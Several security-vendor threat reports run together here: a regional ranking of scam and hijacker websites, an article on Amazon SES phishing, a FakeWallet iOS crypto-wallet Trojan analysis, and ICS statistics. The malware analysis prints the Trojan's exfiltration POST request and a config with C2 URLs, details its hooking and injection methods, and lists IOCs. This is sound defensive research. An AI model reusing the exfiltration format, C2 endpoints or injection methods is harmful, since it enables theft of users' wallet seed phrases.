The second service (*i*s*.com) positions itself as a tool for safe searching, protecting the browser from threats, and verifying extensions. However, this is a typical browser hijacker, much like the others mentioned above. It made the TOP 10 in South Asia (8.03%), Oceania (17.97%), Europe (3.90%), and Canada (14.35%).

The third site (*h*t*.com) poses as a private browsing extension. In reality, it’s another potentially unwanted application designed for browser hijacking: it modifies settings, steals sensitive data (cookies, browser history, and queries), and can redirect the user to phishing pages. Users have specifically noted the difficulty involved in removing the extension. This site appears in the TOP 10 for the MENA region (10.17%), Canada (7.06%), Europe (3.81%), and Oceania (2.81%).

Another domain (*o*t*.com) that reached the TOP 10 in four regions is a service mimicking a browser extension for safe searching and web browsing. It’s dangerous because it injects ads and steals user data. It’s important to note that such extensions can be installed without explicit user consent – for example, via links embedded in other software. This service holds the number one spot in two regions: Canada (25.72%) and Oceania (30.92%), while also appearing in the TOP 10 for East Asia (8.01%) and Africa (0.88%).

Consequently, we can see that the majority of suspicious sites detected by our solutions worldwide are browser hijackers masquerading as security products. Nevertheless, other categories of sites also appear in the TOP 10.

Next, we’ll examine each region individually, focusing on descriptions of domains not previously covered. For clarity, the sites mentioned above will be marked as [MULTI-REGION], while those appearing in only two or three regions will include the names of those specific areas. We’ll observe several regional overlaps and similarities, allowing us to determine which types of suspicious sites are popular both within specific regions and globally.

Africa

Distribution of the TOP 10 suspicious websites in Africa, January 2026 (download)

The three most prevalent domains in African countries are found exclusively in this region. All of them – *i*r*.world (60.27%), *m*a*.com (22.84%), and *e*p*.com (9.36%) – are potentially fraudulent online trading platforms suspected of using forged licenses. These sites employ classic scam schemes where it’s impossible to withdraw any alleged earnings. In fifth place is a domain we’ll also see in the European TOP 10, *r*e*.com (1.46%): a platform marketed as a tool for retail and semi-professional traders. It charges for services available elsewhere for free. Eighth place is held by a site that also appears in the Russian TOP 10: *a*c*.com (0.56%). This is a dubious AI tool that claims to offer free subscriptions to a premium graphics editor. In ninth place is a domain that also surfaces in the Canadian TOP 10: *u*e*.com (0.53%), a browser extension of the “web protection” variety that we’ve encountered previously.

In summary, the African region is dominated by financial scams within the online trading and brokerage sectors. These include fake platforms that make it impossible to withdraw funds and use fake licenses and classic schemes to steal users’ money. Additionally, Africa sees paid tools that duplicate free services and questionable AI-based subscriptions. The primary threat in this region is financial loss through fraudulent investment-themed sites.

MENA

Distribution of the TOP 10 suspicious websites in the Middle East and North Africa, January 2026 (download)

In the MENA region, the site *a*v*.su holds the top spot with a 28.64% share; notably, this site also appears in the TOP 10 for Russia. It markets itself as a tool for building custom VoIP-PBX systems. However, it has an extremely low trust rating and is frequently associated with phishing, and hidden redirects. Using this service carries significant risks, including data leaks, and financial loss.

Ranked seventh is *a*r*.foundation (6.32%), an AI bot allegedly designed for trading, which we also identified in the TOP 10 for Oceania. This service has been flagged as an investment scam operating as a pyramid scheme with the hallmarks of a Ponzi scheme.

The ranking is rounded out by two domains not found in any other region. The first one, *l*e*.pro (4.42%), is a spoof of a popular betting service. The second, *p*r*.group (2.21%), is a clone of a well-known broker. Both sites are scams.

In the MENA region, the landscape is dominated by fake VoIP services as well as counterfeits of financial and betting platforms, which attackers use to conduct phishing attacks, and perform hidden redirects. A significant portion of suspicious sites consists of fake online privacy tools and browser hijackers masquerading as security extensions. Ponzi schemes and cryptocurrency scams are also prominent. The primary risks for the region are data theft, and financial loss.

Latin America

Distribution of the TOP 10 suspicious websites in Latin America, January 2026 (download)

In Latin America, we identified five popular suspicious sites specific to this region, which is unusual compared to other areas where more overlaps are typically observed. Ranking third with a share of 10.81% is the fake betting platform *b*e*.net. In fifth place is *r*e*.club, an illegitimate clone of a well-known bookmaker, with a share of 7.82%.

Further down the list of local threats are *a*a*.com.br (7.02%), a Brazilian Ponzi scam; *s*a*.com (5.07%), which offers dubious investment programs; and *t*r*.com (4.53%), a potentially dangerous trading platform.

In Latin America, the most-visited suspicious sites are betting-themed scams, including both clones of legitimate sites and those built from scratch. Also prevalent are Ponzi schemes, fake investment programs, and dubious online brokers. A significant portion of these sites consists of browser hijackers posing as crypto platforms and AI bots. The primary threats in Latin American countries include financial loss through gambling and Ponzi schemes, as well as the theft of NFTs and other tokens.

East Asia

Distribution of the TOP 10 suspicious websites in East Asia, January 2026 (download)

In the East Asian TOP 10, we see the highest concentration of domains that are absent from other regional rankings.

In first place, with an 18.77% share, is the fake broker *r*x*.com, which can be used to steal personal data or funds. Second place is held by a crypto-gaming site (16.44%) that we previously encountered in the Latin American TOP 10. Visitors to this site risk losing NFTs and other tokens. In third place is the domain *u*h*.net (11.61%), used for redirects, which can hijack sessions. Following this is *s*m*.com (9.98%), a domain typically used as a browser-hijacking server and for phishing attacks, serving as a link in an infection chain.

Rounding out the local threats in East Asia are the following domains: *e*v*.com (9.37%), utilized in drive-by attacks; *a*k*.com (9.16%), an API-like domain associated with suspicious scripts and extensions; and *b*l*.com (4.38%), a domain potentially used for redirects.

East Asia has a high concentration of region-specific fake brokers, crypto gaming platforms, and NFT marketplaces. The primary threats for this region include the loss of financial data, NFTs, and other tokens, as well as session hijacking.

South Asia

Distribution of the TOP 10 suspicious websites in South Asia, January 2026 (download)

In South Asian countries, we also observe a concentration of local suspicious sites specific to the region.

The second most popular site in the region is *a*s*.com (12.01%), a poor-reputation, high-risk microloan service typical of South Asia. By interacting with these sites, users risk not only losing significant funds but also compromising their overall security. Following this are *v*n*.com with a 9.47% share and *l*f*.com with 8.65%. These domains are employed in various fraudulent schemes, ranging from phishing to spam.

The TOP 10 also includes *s*o*.com (4.80%), a free video downloading service associated with a high risk of infection. The final site we analyzed in the South Asia region is *c*o*.site (1.89%), a pseudo-tool for local SEO optimization that carries the danger of data loss and a high risk of financial fraud through subscription sign-ups.

In summary, the region is dominated by fake antivirus extensions, microloan services, dubious video downloaders, and counterfeit SEO tools. The primary risks for South Asia include financial fraud, phishing and spam distribution, and data theft.

CIS

When analyzing statistics for suspicious sites in CIS countries, we treat Russia as a separate region due to the unique characteristics of its online space which are not found in any other CIS member states. However, we’ve placed these two regions in the same section, as we’ve observed overlaps between them that are not seen in other parts of the world.

Distribution of the TOP 10 suspicious websites in the CIS, January 2026 (download)

The top two sites in the CIS TOP 10 also appear in the Russian TOP 10. The domain *r*a*.bar, which ranks first in the CIS (39.50%), holds the second spot in Russia (15.93%) and is a fake trading site. It’s worth noting that sites in the .bar domain zone are frequently used for scams. In second place in the CIS (15.29%) and sixth in Russia (3.75%) is the domain *p*o*.ru, which is often associated with bots for inflating follower counts and automating community management.

Domains from fourth to eighth place are specific only to the CIS region and don’t appear in the Russian TOP 10. These sites include:

• *a*e*.online (8.42%): an online image editor that carries risks of data harvesting
• *n*a*.io (6.51%): a high-risk cryptocurrency trading platform
• *e*r*.com (3.72%): a site promising free cryptocurrency and posing the risk of compromising visitors’ private keys and digital wallets
• *s*o*.ltd (3.70%): a domain with an extremely low trust rating
• *s*.gg (3.49%): a scam site masquerading as a play-to-earn blockchain game

The ranking concludes with sites that overlap with the Russian region. *a*.consulting (2.42%) is a fake clone of a binary options site, and *a*.lol (2.32%) is a domain suspected of dubious activity.

The CIS landscape is dominated by fake trading platforms (particularly crypto exchanges), promises of easy profits, play-to-earn scams, and dubious investment projects. We also observe many bots for inflating social metrics and automation. The primary threat in the CIS is the theft of private keys, digital wallets, and funds through investment schemes and lures involving online promotion.

Distribution of the TOP 10 suspicious websites in Russia, January 2026 (download)

The Russian TOP 10 includes three unique domains not found in the rankings of other regions. The first, *n*m*.top (7.84%), is an imitator of a well-known binary options broker. This suspicious site was recently registered and has a tellingly low rating on domain verification services. The second, *t*e*.ru (3.25%), claims to be an educational platform and has a dubious subscription system with a high probability of fraud involving difficulties in canceling subscriptions. The third site, *e*e*.org (3.14%), positions itself as a tool for a popular media platform, but it’s actually a scam that fails to provide its stated services.

Overall, the Russian landscape is characterized by fake binary options brokers and sketchy sites with fraudulent subscriptions posing as e-learning platforms. There are also frequent instances of sites spoofing well-known legitimate services. The primary risks in Russia are scams related to the knowledge business sector, as well as the theft of money and personal data.

Europe

Distribution of the TOP 10 suspicious websites in Europe, January 2026 (download)

In the European region, we’ve found two unique domains. The first of these, *c*r*.org, has been identified as part of a chain for massive phishing and spam attacks. It accounts for a 16.08% share of the TOP 10. The second site, *o*n*.de, is an unofficial reseller with a poor reputation and a high likelihood of fraud. This domain ranks second to last in our statistics with a 5.95% share.

Among the sites not previously covered, the European TOP 10 includes one site that also appears in the Oceania TOP 10: *o*i*.com (6.61%). This is a classic cryptocurrency scam promising passive income.

A significant portion of suspicious sites in Europe consists of intermediary sites for phishing and spam, fake security extensions, and crypto scams. Unofficial sales services and paid trading tools are also on the list. The primary threats in the European region include session hijacking, data theft, spam, and investment fraud.

Canada

Distribution of the TOP 10 suspicious websites in Canada, January 2026 (download)

Canada has been designated as a separate region to illustrate prevailing trends within North America. The first four positions in the Canadian TOP 10 are held by multiregional domains discussed previously. In fifth place is *t*c*.com (10.88%), which also appears in the TOP 10 rankings for Oceania and South Asia. This is yet another browser extension masquerading as a security solution. Occupying the final spot is the domain *e*w*.com (0.17%), which is unique to the Canadian market. This site operates a dropshipping scam, offering products at prices significantly below market value. Customers typically either never receive their orders or get low-quality counterfeits.

The landscape of dubious websites in Canada is largely defined by fraudulent extensions capable of hijacking browser data, tracking user activity, spoofing search queries, harvesting cookies, and injecting ads. This is further compounded by dropshipping schemes involving counterfeit goods. The primary risks for users in Canada include data theft and financial loss from purchasing substandard products.

Oceania

Distribution of the TOP 10 suspicious websites in Oceania, January 2026 (download)

The final region under consideration is Oceania. Notably, we didn’t identify a single domain unique to this region. Every site appearing in the TOP 10 represents a global threat that’s already been detailed in previous sections. To summarize the findings for this region: the primary threats consist of fake security extensions and privacy products designed for browser hijacking, tracking user activity, displaying advertisements, and stealing data. There’s a minimal presence of crypto Ponzi schemes in this area. The main risk for users in Oceania is the loss of privacy and confidentiality through unwanted apps.

Conclusion

Suspicious websites are particularly dangerous because they often masquerade as legitimate sites with high levels of persuasiveness. They mimic online stores, subscription-based streaming platforms, repair firms, and various other services. Unlike standard phishing sites, they employ more sophisticated manipulations to deceive users, tricking them into voluntarily handing over their personal data and transferring funds.

By examining the TOP 10 suspicious sites across the world’s major regions, we can draw several conclusions. On average, the most prevalent threats globally are fraudulent extensions masquerading as security solutions and privacy services. Their true purpose is to hijack browser data, track user activity, and display ads. We also frequently encounter phishing platforms for image processing and financial scams involving trading, cryptocurrency, betting, and microloans. Our statistics demonstrate that these sites not only employ classic fraudulent schemes centered on easy money but also adapt to contemporary trends targeting younger audiences and specific regional characteristics. The primary risks for users interacting with these sites are a combination of privacy threats and financial loss.

To help protect users from these shady sites, we’ve introduced the category of “websites with an undefined trust level” as part of the web filtering features in our solutions. However, it’s important to note that user awareness and individual responsibility play a significant role in ensuring safe web browsing. It’s essential for users to be able to recognize suspicious sites and remain vigilant toward any that appear untrustworthy.

Introduction

The primary goal for attackers in a phishing campaign is to bypass email security and trick the potential victim into revealing their data. To achieve this, scammers employ a wide range of tactics, from redirect links to QR codes. Additionally, they heavily rely on legitimate sources for malicious email campaigns. Specifically, we’ve recently observed an uptick in phishing attacks leveraging Amazon SES.

The dangers of Amazon SES abuse

Amazon Simple Email Service (Amazon SES) is a cloud-based email platform designed for highly reliable transactional and marketing message delivery. It integrates seamlessly with other products in Amazon’s cloud ecosystem, AWS.

At first glance, it might seem like just another delivery channel for email phishing, but that isn’t the case. The insidious nature of Amazon SES attacks lies in the fact that attackers aren’t using suspicious or dangerous domains; instead, they are leveraging infrastructure that both users and security systems have grown to trust. These emails utilize SPF, DKIM, and DMARC authentication protocols, passing all standard provider checks, and almost always contain .amazonses.com in the Message-ID headers. Consequently, from a technical standpoint, every email sent via Amazon SES – even a phishing one – looks completely legitimate.

Phishing URLs can be masked with redirects: a user sees a link like amazonaws.com in the email and clicks it with confidence, only to be sent to a phishing site rather than a legitimate one. Amazon SES also allows for custom HTML templates, which attackers use to craft more convincing emails. Because this is legitimate infrastructure, the sender’s IP address won’t end up on reputation-based blocklists. Blocking it would restrict all incoming mail sent through Amazon SES. For major services, that kind of measure is ineffective, as it would significantly disrupt user workflows due to a massive number of false positives.

How compromise happens

In most cases, attackers gain access to Amazon SES through leaked IAM (AWS Identity and Access Management) access keys. Developers frequently leave these keys exposed in public GitHub repositories, ENV files, Docker images, configuration backups, or even in publicly accessible S3 buckets. To hunt for these IAM keys, phishers use various tools, such as automated bots based on the open-source utility TruffleHog, which is designed for detecting leaked secrets. After verifying the key’s permissions and email sending limits, attackers are equipped to spread a massive volume of phishing messages.

Examples of phishing with Amazon SES

In early 2026, one of the most common themes in phishing emails sent with Amazon SES was fake notifications from electronic signature services.

The email’s technical headers confirm that it was sent with Amazon SES. At first glance, it all looks legitimate enough.

In these emails, the victim is typically asked to click a link to review and sign a specific document.

Upon clicking the link, the user is directed to a sign-in form hosted on amazonaws.com. This can easily mislead the victim, convincing them that what they’re doing is safe.

The resulting form is, of course, a phishing page, and any data entered into it goes directly to the attackers.

Amazon SES and BEC

However, Amazon SES is used for more than just standard phishing; it’s also a vehicle for a very sophisticated type of BEC campaigns. In one case we investigated, a fraudulent email appeared to contain a series of messages exchanged between an employee of the target organization and a service provider about an outstanding invoice. The email was sent as if from that employee to the company’s finance department, requesting urgent payment.

The PDF attachments didn’t contain any malicious phishing URLs or QR codes, only payment details and supporting documentation.

Naturally, the email didn’t originate with the employee, but with an attacker impersonating them. The entire thread quoted within the email was actually fabricated, with the messages formatted to appear as a legitimate forwarded thread to a cursory glance. This type of attack aims to lower the user’s guard and trick them into transferring funds to the scammers’ account.

Takeaways

Phishing via Amazon SES experienced an uptick in January 2026 and has remained relatively steady through Q1. By weaponizing this service, attackers avoid the effort of building dubious domains and mail infrastructure from scratch. Instead, they hijack existing access keys to gain the ability to blast out thousands of phishing emails. These messages pass email authentication, originate from IP addresses that are unlikely to be blocklisted, and contain links to phishing forms that look entirely legitimate.

Since these Amazon SES phishing attacks stem from compromised or leaked AWS credentials, prioritizing the security of these accounts is critical. To mitigate these risks, we recommend following these guidelines:

• Implement the principle of least privilege when configuring IAM access keys, granting elevated permissions only to users who require them for specific tasks.
• Transition from IAM access keys to roles when configuring AWS; these are profiles with specific permissions that can be assigned to one or several users.
• Enable multi-factor authentication, an ever-relevant step.
• Configure IP-based access restrictions.
• Set up automated key rotation and run regular security audits.
• Use the AWS Key Management Service to encrypt data with unique cryptographic keys and manage them from a centralized location.

We recommend that users remain vigilant when handling email. Do not determine whether an email is safe based solely on the From field. If you receive unexpected documents via email, a prudent precaution is to verify the request with the sender through a different communication channel. Always carefully inspect where links in the body of an email actually lead. Additionally, robust email security solutions can provide an essential layer of protection for both corporate and personal correspondence.

In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.

We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.

Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.

Technical details

Background

This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.

In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.

During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:

• MetaMask
• Ledger
• Trust Wallet
• Coinbase
• TokenPocket
• imToken
• Bitpie

We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.

We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.

The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic.  The stub could be a game, a calculator, or a task planner.

However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.

Malicious modules for hot wallets

The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.

To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.

The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:

• The extracted mnemonics are stringed together.
• This string is encrypted using RSA with the PKCS #1 scheme.
• The encrypted data is then encoded into Base64.
• Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.

In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.

The POST request used to exfiltrate those encrypted mnemonics looks like this:

POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger

The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:

• Resolve symbols dataInit or processX0Parameter from the malicious library
• Hand over control to these newly discovered functions
• Execute the code for the original methods that the wrapper was built to replace

These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.

The Ledger wallet malicious module

The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.

We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points:  two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:

• The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
  

  {
  	"url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
  	"code": "10001",                                         // special code	"login-url": "hxxps://xxx[.]com",                                              
  	"login-code": "88761"                                                               
  }

• Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
• As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
  • If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
  • If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.
• Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.

The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.

The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:

• MnemonicVerifyScreen, embedded in PortfolioNavigator
• PrivateKeyVerifyScreen, embedded in MyLedgerNavigator

In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.

Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:

• verify-wallet-status.json tracks the current status and the timestamp of the last update.
• verify-wallet-config.json stores the C2 server configuration the malware is currently using.
• verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.

Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.

Other distribution channels, platforms, and the SparkKitty link

During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.

We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.

One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.

Victims

Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.

Attribution

According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:

• Some infected apps contained SparkKitty modules alongside the FakeWallet code.
• The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
• Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
• Both campaigns specifically target victims’ cryptocurrency assets.

Conclusion

Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:

• Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
• Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
• Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.

Indicators of compromise

Infected cryptowallet IPA file hashes
4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45

Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3

Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b

Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467

Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e

Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb

C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz

Statistics across all threats

The percentage of ICS computers on which malicious objects were blocked has been decreasing since the beginning of 2024. In Q4 2025, it was 19.7%. Over the past three years, the percentage has decreased by 1.36 times, and by 1.25 times since Q4 2023.

Regionally, in Q4 2025, the percentage of ICS computers on which malicious objects were blocked ranged from 8.5% in Northern Europe to 27.3% in Africa.

Four regions saw an increase in the percentage of ICS computers on which malicious objects were blocked. The most notable increases occurred in Southern Europe and South Asia. In Q3 2025, East Asia experienced a sharp increase triggered by the local spread of malicious scripts, but the figure has since returned to normal.

Feature of the quarter: worms in email

In Q4 2025, the percentage of ICS computers on which wormsinemailattachments were blocked increasedinallregions of the world.

Many of the blocked threats were related to the worm Backdoor.MSIL.XWorm. This malware is designed to persist on the system and then remotely control it.

Interestingly, this threat was not detected on ICS computers in the previous quarter, yet it appeared in all regions in Q4 2025.

A study found that the active spread of Backdoor.MSIL.XWorm via phishing emails was likely linked to the use by hackers of another malware obfuscation technique that was actively used during massive phishing campaigns in Q4 2025. These campaigns have been known since 2024 as “Curriculum-vitae-catalina”.

The attackers distributed phishing emails to HR managers, recruiters, and employees responsible for hiring. The messages were disguised as responses from job applicants with subjects such as “Resume” or “Attached Resume” and contained a malicious executable file under the guise of a curriculum vitae. Typically, the file was named Curriculum Vitae-Catalina.exe. When executed, it infected the system.

